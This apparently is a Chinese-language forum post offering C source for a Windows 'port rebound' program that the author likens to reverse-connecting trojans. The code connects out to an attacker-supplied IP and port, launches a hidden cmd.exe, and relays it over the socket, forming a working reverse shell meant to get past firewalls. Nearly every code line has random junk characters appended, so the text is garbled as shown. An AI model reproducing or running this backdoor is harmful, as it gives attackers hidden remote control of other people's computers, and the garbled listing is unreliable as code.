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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6t!=k6`1  
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/* ============================== 5X3JQ"z  
Rebound port in Windows NT tHaHBx1P  
By wind,2006/7 LTBH/[q5  
===============================*/ X)(K|[  
#include QpzdlB44l  
#include ?$)a[UnqX  
<9H3d7%  
#pragma comment(lib,"wsock32.lib") Q7pCF,;  
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void OutputShell(); :?EZ\WM7  
SOCKET sClient; Lm!]m\LRZD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C!547(l[  
QNE/SSL  
void main(int argc,char **argv) w)K547!00  
{ lNc0znY  
WSADATA stWsaData; PC"=B[OlJ  
int nRet; 4D 5Wse  
SOCKADDR_IN stSaiClient,stSaiServer; ~Ih` ayVq  
| J'k 9W"  
if(argc != 3) RpU i'  
{ Tn,_0  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8S#&XS>o  
return; P$Y w'3v/  
} V4u4{wU]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (e_p8[x  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gs0 jwI  
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stSaiClient.sin_family = AF_INET; |j/Y#.k;{0  
stSaiClient.sin_port = htons(0); #N`MzmwS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6f0o'  
>8{{H"$;(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bCTN^  
{ 3 P75:v  
printf("Bind Socket Failed!\n"); O|Vc  
return; %d-WQwJ  
} (-1{W^(  
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stSaiServer.sin_family = AF_INET; t?^!OJ:L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vnf2Z,f%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w"D1mI!L 7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D0 q42+5  
{ irw5<l  
printf("Connect Error!"); EGFP$nvq  
return; (VkO[5j  
} C_ ;nlG6  
OutputShell(); v 9G~i  
} a` 9pHH:7Q  
-#<{3BJTrz  
void OutputShell() p4\sKF8-  
{ `o9:6X?RA  
char szBuff[1024]; @ZYJY  
SECURITY_ATTRIBUTES stSecurityAttributes; 9;n*u9<  
OSVERSIONINFO stOsversionInfo; rkh%[o 9"/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E!WlQr:b$  
STARTUPINFO stStartupInfo; F&CvqPI  
char *szShell; ZJFF4($qN  
PROCESS_INFORMATION stProcessInformation; >^W6'Q$P<  
unsigned long lBytesRead; vEG7A$Z"  
c9@3=6S/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }"RVUYU  
4a!%eBhX"K  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SH"<f_  
stSecurityAttributes.lpSecurityDescriptor = 0; um<$L  
stSecurityAttributes.bInheritHandle = TRUE; r.u\qPT&  
2u0B=0x  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AL&<SxuP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eC 2~&:$L  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lpB:lRM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GaJE(N  
stStartupInfo.wShowWindow = SW_HIDE; f;+.j/ +  
stStartupInfo.hStdInput = hReadPipe; ]4')H;'y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RV]QVA*i  
U![$7k>,pr  
GetVersionEx(&stOsversionInfo); M/xm6  
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switch(stOsversionInfo.dwPlatformId) ,\\=f#c=  
{ < )_#6)z:  
case 1: %PPy0RZ^  
szShell = "command.com"; ncVt (!c,e  
break; ,'<NyA><  
default: U0|bKU  
szShell = "cmd.exe"; [EVyCIcY,h  
break; VWYNq^<AT  
} Jp8,s%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _TJk Yz$  
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send(sClient,szMsg,77,0); :vS/Lzk  
while(1) SN7_^F  
{ /r&4< @  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -J'ked  
if(lBytesRead) 8t7r^[T  
{ &liFUP?   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,DCUBD u&  
send(sClient,szBuff,lBytesRead,0); vUL@i'0&o  
} S@ y! 0,  
else )Fqtb;W=  
{ x a\~(B.  
lBytesRead=recv(sClient,szBuff,1024,0); 23+JuXC6>  
if(lBytesRead<=0) break; "*c&[ALw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RZ9_*Lq7+  
} z0YL,  
} 9Ns%<FRO@  
;_ 1Rk&o!  
return; R +U*]5~R  
}
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